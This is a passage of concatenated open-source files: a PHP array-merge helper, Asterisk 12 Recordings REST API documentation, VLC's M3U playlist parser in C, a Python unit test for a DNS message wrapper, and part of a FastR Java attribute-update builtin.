Allows us to parse arguments in a multidimensional array * * @param array $args The arguments to parse * @param array $default The default arguments * * @return array $array The merged array */ public static function multiParseArgs( $args, $default ) { if( ! is_array($default) ) { return wp_parse_args( $args, $default ); } $array = []; // Loop through our multidimensional array foreach( [$default, $args] as $elements ) { foreach( $elements as $key => $element ) { // If we have numbered keys if( is_integer($key) ) { $array[] = $element; // Atoms are always overwritten by the arguments } elseif( in_array($key, ['atoms', 'contentAtoms', 'footerAtoms', 'headerAtoms', 'image', 'socketAtoms', 'topAtoms']) ) { $array[$key] = $element; } elseif( isset( $array[$key] ) && (is_array( $array[$key] )) && ! empty($array[$key]) && is_array($element) ) { $array[$key] = self::multiParseArgs( $element, $array[$key] ); } else { $array[$key] = $element; } } } return $array; } }
leichim/waterfall
vendor/makeitworkpress/wp-components/src/build.php
PHP
gpl-2.0
10,695
<!DOCTYPE html> <html> <head> <title>Asterisk Project : Asterisk 12 Recordings REST API</title> <link rel="stylesheet" href="styles/site.css" type="text/css" /> <META http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body class="theme-default aui-theme-default"> <div id="page"> <div id="main" class="aui-page-panel"> <div id="main-header"> <div id="breadcrumb-section"> <ol id="breadcrumbs"> <li class="first"> <span><a href="index.html">Asterisk Project</a></span> </li> <li> <span><a href="Asterisk-12-Documentation_25919697.html">Asterisk 12 Documentation</a></span> </li> <li> <span><a href="Asterisk-12-Command-Reference_26476688.html">Asterisk 12 Command Reference</a></span> </li> <li> <span><a href="Asterisk-12-ARI_22773909.html">Asterisk 12 ARI</a></span> </li> </ol> </div> <h1 id="title-heading" class="pagetitle"> <span id="title-text"> Asterisk Project : Asterisk 12 Recordings REST API </span> </h1> </div> <div id="content" class="view"> <div class="page-metadata"> Added by dlee , edited by wikibot on Nov 08, 2013 </div> <div id="main-content" class="wiki-content group"> <h1 id="Asterisk12RecordingsRESTAPI-Recordings">Recordings</h1> <div class="table-wrap"><table class="confluenceTable"><tbody> <tr> <th class="confluenceTh"><p> Method </p></th> <th class="confluenceTh"><p> Path </p></th> <th class="confluenceTh"><p> Return Model </p></th> <th class="confluenceTh"><p> Summary </p></th> </tr> <tr> <td class="confluenceTd"><p> GET </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/stored</a> </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-REST-Data-Models_22773915.html#Asterisk12RESTDataModels-StoredRecording">List[StoredRecording]</a> </p></td> <td class="confluenceTd"><p> List recordings that are complete. </p></td> </tr> <tr> <td class="confluenceTd"><p> GET </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/stored/{recordingName}</a> </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-REST-Data-Models_22773915.html#Asterisk12RESTDataModels-StoredRecording">StoredRecording</a> </p></td> <td class="confluenceTd"><p> Get a stored recording's details. </p></td> </tr> <tr> <td class="confluenceTd"><p> DELETE </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/stored/{recordingName}</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Delete a stored recording. </p></td> </tr> <tr> <td class="confluenceTd"><p> GET </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}</a> </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-REST-Data-Models_22773915.html#Asterisk12RESTDataModels-LiveRecording">LiveRecording</a> </p></td> <td class="confluenceTd"><p> List live recordings. </p></td> </tr> <tr> <td class="confluenceTd"><p> DELETE </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Stop a live recording and discard it. </p></td> </tr> <tr> <td class="confluenceTd"><p> POST </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/stop</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Stop a live recording and store it. </p></td> </tr> <tr> <td class="confluenceTd"><p> POST </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/pause</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Pause a live recording. </p></td> </tr> <tr> <td class="confluenceTd"><p> DELETE </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/pause</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Unpause a live recording. </p></td> </tr> <tr> <td class="confluenceTd"><p> POST </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/mute</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Mute a live recording. </p></td> </tr> <tr> <td class="confluenceTd"><p> DELETE </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/mute</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Unmute a live recording. </p></td> </tr> </tbody></table></div> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-listStored"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-GET%2Frecordings%2Fstored">GET /recordings/stored</h2> <p>List recordings that are complete.</p> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-getStored"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-GET%2Frecordings%2Fstored%2F%7BrecordingName%7D">GET /recordings/stored/{recordingName}</h2> <p>Get a stored recording's details.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-deleteStored"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-DELETE%2Frecordings%2Fstored%2F%7BrecordingName%7D">DELETE /recordings/stored/{recordingName}</h2> <p>Delete a stored recording.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.1">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.1">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-getLive"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-GET%2Frecordings%2Flive%2F%7BrecordingName%7D">GET /recordings/live/{recordingName}</h2> <p>List live recordings.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.2">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.2">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-cancel"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-DELETE%2Frecordings%2Flive%2F%7BrecordingName%7D">DELETE /recordings/live/{recordingName}</h2> <p>Stop a live recording and discard it.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.3">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.3">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-stop"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-POST%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fstop">POST /recordings/live/{recordingName}/stop</h2> <p>Stop a live recording and store it.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.4">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.4">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-pause"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-POST%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fpause">POST /recordings/live/{recordingName}/pause</h2> <p>Pause a live recording. Pausing a recording suspends silence detection, which will be restarted when the recording is unpaused. Paused time is not included in the accounting for maxDurationSeconds.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.5">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.5">Error Responses</h3> <ul> <li>404 - Recording not found</li> <li>409 - Recording not in session</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-unpause"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-DELETE%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fpause">DELETE /recordings/live/{recordingName}/pause</h2> <p>Unpause a live recording.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.6">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.6">Error Responses</h3> <ul> <li>404 - Recording not found</li> <li>409 - Recording not in session</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-mute"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-POST%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fmute">POST /recordings/live/{recordingName}/mute</h2> <p>Mute a live recording. Muting a recording suspends silence detection, which will be restarted when the recording is unmuted.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.7">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.7">Error Responses</h3> <ul> <li>404 - Recording not found</li> <li>409 - Recording not in session</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-unmute"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-DELETE%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fmute">DELETE /recordings/live/{recordingName}/mute</h2> <p>Unmute a live recording.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.8">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.8">Error Responses</h3> <ul> <li>404 - Recording not found</li> <li>409 - Recording not in session</li> </ul> </div> </div> </div> <div id="footer"> <section class="footer-body"> <p>Document generated by Confluence on Dec 20, 2013 14:15</p> </section> </div> </div> </body> </html>
truongduy134/asterisk
doc/Asterisk-Admin-Guide/Asterisk-12-Recordings-REST-API_22773916.html
HTML
gpl-2.0
11,615
/***************************************************************************** * m3u.c : M3U playlist format import ***************************************************************************** * Copyright (C) 2004 VLC authors and VideoLAN * $Id: 02a95984d5fe1968163cb435268a9874f0c65eb9 $ * * Authors: Clément Stenac <[email protected]> * Sigmund Augdal Helberg <[email protected]> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2.1 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA. *****************************************************************************/ /***************************************************************************** * Preamble *****************************************************************************/ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include <vlc_common.h> #include <vlc_demux.h> #include <vlc_charset.h> #include "playlist.h" struct demux_sys_t { char *psz_prefix; char *(*pf_dup) (const char *); }; /***************************************************************************** * Local prototypes *****************************************************************************/ static int Demux( demux_t *p_demux); static void parseEXTINF( char *psz_string, char **ppsz_artist, char **ppsz_name, int *pi_duration ); static bool ContainsURL( demux_t *p_demux ); static char *GuessEncoding (const char *str) { return IsUTF8 (str) ? strdup (str) : FromLatin1 (str); } static char *CheckUnicode (const char *str) { return IsUTF8 (str) ? strdup (str): NULL; } /***************************************************************************** * Import_M3U: main import function *****************************************************************************/ int Import_M3U( vlc_object_t *p_this ) { demux_t *p_demux = (demux_t *)p_this; const uint8_t *p_peek; char *(*pf_dup) (const char *) = GuessEncoding; int offset = 0; if( stream_Peek( p_demux->s, &p_peek, 3 ) == 3 && !memcmp( p_peek, "\xef\xbb\xbf", 3) ) { pf_dup = CheckUnicode; /* UTF-8 Byte Order Mark */ offset = 3; } if( demux_IsPathExtension( p_demux, ".m3u8" ) || demux_IsForced( p_demux, "m3u8" ) || CheckContentType( p_demux->s, "application/vnd.apple.mpegurl" ) ) pf_dup = CheckUnicode; /* UTF-8 file type */ else if( demux_IsPathExtension( p_demux, ".m3u" ) || demux_IsPathExtension( p_demux, ".vlc" ) || demux_IsForced( p_demux, "m3u" ) || ContainsURL( p_demux ) || CheckContentType( p_demux->s, "audio/x-mpegurl") ) ; /* Guess encoding */ else { if( stream_Peek( p_demux->s, &p_peek, 8 + offset ) < (8 + offset) ) return VLC_EGENERIC; p_peek += offset; if( !strncasecmp( (const char *)p_peek, "RTSPtext", 8 ) ) /* QuickTime */ pf_dup = CheckUnicode; /* UTF-8 */ else if( !memcmp( p_peek, "#EXTM3U", 7 ) ) ; /* Guess encoding */ else return VLC_EGENERIC; } stream_Seek( p_demux->s, offset ); STANDARD_DEMUX_INIT_MSG( "found valid M3U playlist" ); p_demux->p_sys->psz_prefix = FindPrefix( p_demux ); p_demux->p_sys->pf_dup = pf_dup; return VLC_SUCCESS; } static bool ContainsURL( demux_t *p_demux ) { const uint8_t *p_peek, *p_peek_end; int i_peek; i_peek = stream_Peek( p_demux->s, &p_peek, 1024 ); if( i_peek <= 0 ) return false; p_peek_end = p_peek + i_peek; while( p_peek + sizeof( "https://" ) < p_peek_end ) { /* One line starting with a URL is enough */ if( !strncasecmp( (const char *)p_peek, "http://", 7 ) || !strncasecmp( (const char *)p_peek, "mms://", 6 ) || !strncasecmp( (const char *)p_peek, "rtsp://", 7 ) || !strncasecmp( (const char *)p_peek, "https://", 8 ) || !strncasecmp( (const char *)p_peek, "ftp://", 6 ) || !strncasecmp( (const char *)p_peek, "ftps://", 7 ) || !strncasecmp( (const char *)p_peek, "ftpes://", 8 ) ) { return true; } /* Comments and blank lines are ignored */ else if( *p_peek != '#' && *p_peek != '\n' && *p_peek != '\r') { return false; } while( p_peek < p_peek_end && *p_peek != '\n' ) p_peek++; if ( *p_peek == '\n' ) p_peek++; } return false; } /***************************************************************************** * Deactivate: frees unused data *****************************************************************************/ void Close_M3U( vlc_object_t *p_this ) { demux_t *p_demux = (demux_t *)p_this; free( p_demux->p_sys->psz_prefix ); free( p_demux->p_sys ); } static int Demux( demux_t *p_demux ) { char *psz_line; char *psz_name = NULL; char *psz_artist = NULL; char *psz_album_art = NULL; int i_parsed_duration = 0; mtime_t i_duration = -1; const char**ppsz_options = NULL; char * (*pf_dup) (const char *) = p_demux->p_sys->pf_dup; int i_options = 0; bool b_cleanup = false; input_item_t *p_input; input_item_t *p_current_input = GetCurrentItem(p_demux); input_item_node_t *p_subitems = input_item_node_Create( p_current_input ); psz_line = stream_ReadLine( p_demux->s ); while( psz_line ) { char *psz_parse = psz_line; /* Skip leading tabs and spaces */ while( *psz_parse == ' ' || *psz_parse == '\t' || *psz_parse == '\n' || *psz_parse == '\r' ) psz_parse++; if( *psz_parse == '#' ) { /* Parse extra info */ /* Skip leading tabs and spaces */ while( *psz_parse == ' ' || *psz_parse == '\t' || *psz_parse == '\n' || *psz_parse == '\r' || *psz_parse == '#' ) psz_parse++; if( !*psz_parse ) goto error; if( !strncasecmp( psz_parse, "EXTINF:", sizeof("EXTINF:") -1 ) ) { /* Extended info */ psz_parse += sizeof("EXTINF:") - 1; FREENULL( psz_name ); FREENULL( psz_artist ); parseEXTINF( psz_parse, &psz_artist, &psz_name, &i_parsed_duration ); if( i_parsed_duration >= 0 ) i_duration = i_parsed_duration * INT64_C(1000000); if( psz_name ) psz_name = pf_dup( psz_name ); if( psz_artist ) psz_artist = pf_dup( psz_artist ); } else if( !strncasecmp( psz_parse, "EXTVLCOPT:", sizeof("EXTVLCOPT:") -1 ) ) { /* VLC Option */ char *psz_option; psz_parse += sizeof("EXTVLCOPT:") -1; if( !*psz_parse ) goto error; psz_option = pf_dup( psz_parse ); if( psz_option ) INSERT_ELEM( (const char **), ppsz_options, i_options, i_options, // sunqueen modify psz_option ); } /* Special case for jamendo which provide the albumart */ else if( !strncasecmp( psz_parse, "EXTALBUMARTURL:", sizeof( "EXTALBUMARTURL:" ) -1 ) ) { psz_parse += sizeof( "EXTALBUMARTURL:" ) - 1; free( psz_album_art ); psz_album_art = pf_dup( psz_parse ); } } else if( !strncasecmp( psz_parse, "RTSPtext", sizeof("RTSPtext") -1 ) ) { ;/* special case to handle QuickTime RTSPtext redirect files */ } else if( *psz_parse ) { char *psz_mrl; psz_parse = pf_dup( psz_parse ); if( !psz_name && psz_parse ) /* Use filename as name for relative entries */ psz_name = strdup( psz_parse ); psz_mrl = ProcessMRL( psz_parse, p_demux->p_sys->psz_prefix ); b_cleanup = true; if( !psz_mrl ) { free( psz_parse ); goto error; } p_input = input_item_NewExt( psz_mrl, psz_name, i_options, ppsz_options, 0, i_duration ); free( psz_parse ); free( psz_mrl ); if ( !EMPTY_STR(psz_artist) ) input_item_SetArtist( p_input, psz_artist ); if( psz_name ) input_item_SetTitle( p_input, psz_name ); if( !EMPTY_STR(psz_album_art) ) input_item_SetArtURL( p_input, psz_album_art ); input_item_node_AppendItem( p_subitems, p_input ); vlc_gc_decref( p_input ); } error: /* Fetch another line */ free( psz_line ); psz_line = stream_ReadLine( p_demux->s ); if( !psz_line ) b_cleanup = true; if( b_cleanup ) { /* Cleanup state */ while( i_options-- ) free( (char*)ppsz_options[i_options] ); FREENULL( ppsz_options ); i_options = 0; FREENULL( psz_name ); FREENULL( psz_artist ); FREENULL( psz_album_art ); i_parsed_duration = 0; i_duration = -1; b_cleanup = false; } } input_item_node_PostAndDelete( p_subitems ); vlc_gc_decref(p_current_input); var_Destroy( p_demux, "m3u-extvlcopt" ); return 0; /* Needed for correct operation of go back */ } static void parseEXTINF(char *psz_string, char **ppsz_artist, char **ppsz_name, int *pi_duration) { char *end = NULL; char *psz_item = NULL; end = psz_string + strlen( psz_string ); /* ignore whitespaces */ for (; psz_string < end && ( *psz_string == '\t' || *psz_string == ' ' ); psz_string++ ); /* duration: read to next comma */ psz_item = psz_string; psz_string = strchr( psz_string, ',' ); if ( psz_string ) { *psz_string = '\0'; *pi_duration = atoi( psz_item ); } else { return; } if ( psz_string < end ) /* continue parsing if possible */ psz_string++; /* analyse the remaining string */ psz_item = strstr( psz_string, " - " ); /* here we have the 0.8.2+ format with artist */ if ( psz_item ) { /* *** "EXTINF:time,artist - name" */ *psz_item = '\0'; *ppsz_artist = psz_string; *ppsz_name = psz_item + 3; /* points directly after ' - ' */ return; } /* reaching this point means: 0.8.1- with artist or something without artist */ if ( *psz_string == ',' ) { /* *** "EXTINF:time,,name" */ psz_string++; *ppsz_name = psz_string; return; } psz_item = psz_string; psz_string = strchr( psz_string, ',' ); if ( psz_string ) { /* *** "EXTINF:time,artist,name" */ *psz_string = '\0'; *ppsz_artist = psz_item; *ppsz_name = psz_string+1; } else { /* *** "EXTINF:time,name" */ *ppsz_name = psz_item; } return; }
sunqueen/vlc-2.2.0-rc2.32-2013
modules/demux/playlist/m3u.c
C
gpl-2.0
11,910
#!/usr/bin/env python # # testlibbind_ns_msg.py - Unit tests for the libbind ns_msg wrapper # # This file is part of Strangle. # # Strangle is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # Strangle is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Strangle; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA import sys, testutils, random import unittest from Strangle import libbind class ns_msgTestCase(unittest.TestCase): """Tests for the wrapper around the libbind ns_msg struct""" def test000Exists(self): """Check that the ns_msg type object exists cleanly in the module""" assert(libbind.ns_msg.__class__ is type) def testInstantiate(self): """Check that the ns_msg type accepts the correct arguments""" # Too few self.assertRaises(TypeError, libbind.ns_msg) # Too many self.assertRaises(TypeError, libbind.ns_msg, 'one', 'two') def testNoticeInvalid(self): """Test whether the ns_msg type can handle bad data""" rng = testutils.rng for testNum in range(0, 50): packetLength = random.randrange(20, 80) packetVal = rng.read(packetLength) self.assertRaises(TypeError, libbind.ns_msg, packetVal) def testParseValidQuery(self): """Test whether ns_msg initialization parses valid NS queries""" packetData = file("data/www.company.example-query").read() n = libbind.ns_msg(packetData) assert(type(n) is libbind.ns_msg) def testParseValidResponse(self): """Test whether ns_msg initialization parses valid NS queries""" packetData = file("data/www.company.example-response").read() n = libbind.ns_msg(packetData) assert(type(n) is libbind.ns_msg) def suite(): s = unittest.TestSuite() s.addTest( unittest.makeSuite(ns_msgTestCase, 'test') ) return s if __name__ == "__main__": unittest.main()
jhs/strangle
test/testlibbind_ns_msg.py
Python
gpl-2.0
2,294
<?php // notin to do here
fundar/curul-wp
wp-content/plugins/wordpress-social-login/utilities/index.php
PHP
gpl-2.0
28
/* * Copyright (c) 2013, 2017, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.oracle.truffle.r.nodes.builtin.base; import static com.oracle.truffle.r.nodes.builtin.CastBuilder.Predef.stringValue; import static com.oracle.truffle.r.runtime.RError.Message.MUST_BE_NONNULL_STRING; import static com.oracle.truffle.r.runtime.builtins.RBehavior.PURE; import static com.oracle.truffle.r.runtime.builtins.RBuiltinKind.PRIMITIVE; import com.oracle.truffle.api.CompilerDirectives; import com.oracle.truffle.api.CompilerDirectives.TruffleBoundary; import com.oracle.truffle.api.dsl.Cached; import com.oracle.truffle.api.dsl.Fallback; import com.oracle.truffle.api.dsl.Specialization; import com.oracle.truffle.api.nodes.Node; import com.oracle.truffle.r.nodes.attributes.RemoveAttributeNode; import com.oracle.truffle.r.nodes.attributes.SetAttributeNode; import com.oracle.truffle.r.nodes.attributes.SpecialAttributesFunctions.SetClassAttributeNode; import com.oracle.truffle.r.nodes.attributes.SpecialAttributesFunctions.SetDimAttributeNode; import com.oracle.truffle.r.nodes.attributes.SpecialAttributesFunctions.SetRowNamesAttributeNode; import com.oracle.truffle.r.nodes.builtin.RBuiltinNode; import com.oracle.truffle.r.nodes.builtin.base.UpdateAttrNodeGen.InternStringNodeGen; import com.oracle.truffle.r.nodes.unary.CastIntegerNode; import com.oracle.truffle.r.nodes.unary.CastIntegerNodeGen; import com.oracle.truffle.r.nodes.unary.CastListNode; import com.oracle.truffle.r.nodes.unary.CastToVectorNode; import com.oracle.truffle.r.nodes.unary.CastToVectorNodeGen; import com.oracle.truffle.r.nodes.unary.GetNonSharedNode; import com.oracle.truffle.r.runtime.RError; import com.oracle.truffle.r.runtime.RError.Message; import com.oracle.truffle.r.runtime.RRuntime; import com.oracle.truffle.r.runtime.Utils; import com.oracle.truffle.r.runtime.builtins.RBuiltin; import com.oracle.truffle.r.runtime.data.RAttributable; import com.oracle.truffle.r.runtime.data.RDataFactory; import com.oracle.truffle.r.runtime.data.RNull; import com.oracle.truffle.r.runtime.data.RShareable; import com.oracle.truffle.r.runtime.data.RStringVector; import com.oracle.truffle.r.runtime.data.model.RAbstractContainer; import com.oracle.truffle.r.runtime.data.model.RAbstractIntVector; import com.oracle.truffle.r.runtime.data.model.RAbstractVector; @RBuiltin(name = "attr<-", kind = PRIMITIVE, parameterNames = {"x", "which", "value"}, behavior = PURE) public abstract class UpdateAttr extends RBuiltinNode.Arg3 { @Child private UpdateNames updateNames; @Child private UpdateDimNames updateDimNames; @Child private CastIntegerNode castInteger; @Child private CastToVectorNode castVector; @Child private CastListNode castList; @Child private SetClassAttributeNode setClassAttrNode; @Child private SetRowNamesAttributeNode setRowNamesAttrNode; @Child private SetAttributeNode setGenAttrNode; @Child private SetDimAttributeNode setDimNode; @Child private InternStringNode intern = InternStringNodeGen.create(); public abstract static class InternStringNode extends Node { public abstract String execute(String value); @Specialization(limit = "3", guards = "value == cachedValue") protected static String internCached(@SuppressWarnings("unused") String value, @SuppressWarnings("unused") @Cached("value") String cachedValue, @Cached("intern(value)") String interned) { return interned; } @Specialization(replaces = "internCached") protected static String intern(String value) { return Utils.intern(value); } } static { Casts casts = new Casts(UpdateAttr.class); // Note: cannot check 'attributability' easily because atomic values, e.g int, are not // RAttributable. casts.arg("x"); casts.arg("which").defaultError(MUST_BE_NONNULL_STRING, "name").mustBe(stringValue()).asStringVector().findFirst(); } private RAbstractContainer updateNames(RAbstractContainer container, Object o) { if (updateNames == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); updateNames = insert(UpdateNamesNodeGen.create()); } return (RAbstractContainer) updateNames.executeStringVector(container, o); } private RAbstractContainer updateDimNames(RAbstractContainer container, Object o) { if (updateDimNames == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); updateDimNames = insert(UpdateDimNamesNodeGen.create()); } return updateDimNames.executeRAbstractContainer(container, o); } private RAbstractIntVector castInteger(RAbstractVector vector) { if (castInteger == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); castInteger = insert(CastIntegerNodeGen.create(true, false, false)); } return (RAbstractIntVector) castInteger.doCast(vector); } private RAbstractVector castVector(Object value) { if (castVector == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); castVector = insert(CastToVectorNodeGen.create(false)); } return (RAbstractVector) castVector.doCast(value); } @Specialization protected RNull updateAttr(@SuppressWarnings("unused") RNull nullTarget, @SuppressWarnings("unused") String attrName, @SuppressWarnings("unused") RNull nullAttrVal) { return RNull.instance; } @Specialization protected RAbstractContainer updateAttr(RAbstractContainer container, String name, RNull value, @Cached("create()") RemoveAttributeNode removeAttrNode, @Cached("create()") GetNonSharedNode nonShared) { String internedName = intern.execute(name); RAbstractContainer result = ((RAbstractContainer) nonShared.execute(container)).materialize(); // the name is interned, so identity comparison is sufficient if (internedName == RRuntime.DIM_ATTR_KEY) { if (setDimNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setDimNode = insert(SetDimAttributeNode.create()); } setDimNode.setDimensions(result, null); } else if (internedName == RRuntime.NAMES_ATTR_KEY) { return updateNames(result, value); } else if (internedName == RRuntime.DIMNAMES_ATTR_KEY) { return updateDimNames(result, value); } else if (internedName == RRuntime.CLASS_ATTR_KEY) { if (setClassAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setClassAttrNode = insert(SetClassAttributeNode.create()); } setClassAttrNode.reset(result); return result; } else if (internedName == RRuntime.ROWNAMES_ATTR_KEY) { if (setRowNamesAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setRowNamesAttrNode = insert(SetRowNamesAttributeNode.create()); } setRowNamesAttrNode.setRowNames(result, null); } else if (result.getAttributes() != null) { removeAttrNode.execute(result, internedName); } return result; } @TruffleBoundary protected static RStringVector convertClassAttrFromObject(Object value) { if (value instanceof RStringVector) { return (RStringVector) value; } else if (value instanceof String) { return RDataFactory.createStringVector((String) value); } else { throw RError.error(RError.SHOW_CALLER, RError.Message.SET_INVALID_CLASS_ATTR); } } @Specialization(guards = "!isRNull(value)") protected RAbstractContainer updateAttr(RAbstractContainer container, String name, Object value, @Cached("create()") GetNonSharedNode nonShared) { String internedName = intern.execute(name); RAbstractContainer result = ((RAbstractContainer) nonShared.execute(container)).materialize(); // the name is interned, so identity comparison is sufficient if (internedName == RRuntime.DIM_ATTR_KEY) { RAbstractIntVector dimsVector = castInteger(castVector(value)); if (dimsVector.getLength() == 0) { throw error(RError.Message.LENGTH_ZERO_DIM_INVALID); } if (setDimNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setDimNode = insert(SetDimAttributeNode.create()); } setDimNode.setDimensions(result, dimsVector.materialize().getDataCopy()); } else if (internedName == RRuntime.NAMES_ATTR_KEY) { return updateNames(result, value); } else if (internedName == RRuntime.DIMNAMES_ATTR_KEY) { return updateDimNames(result, value); } else if (internedName == RRuntime.CLASS_ATTR_KEY) { if (setClassAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setClassAttrNode = insert(SetClassAttributeNode.create()); } setClassAttrNode.execute(result, convertClassAttrFromObject(value)); return result; } else if (internedName == RRuntime.ROWNAMES_ATTR_KEY) { if (setRowNamesAttrNode == null) { CompilerDirectives.transferToInterpreterAndInvalidate(); setRowNamesAttrNode = 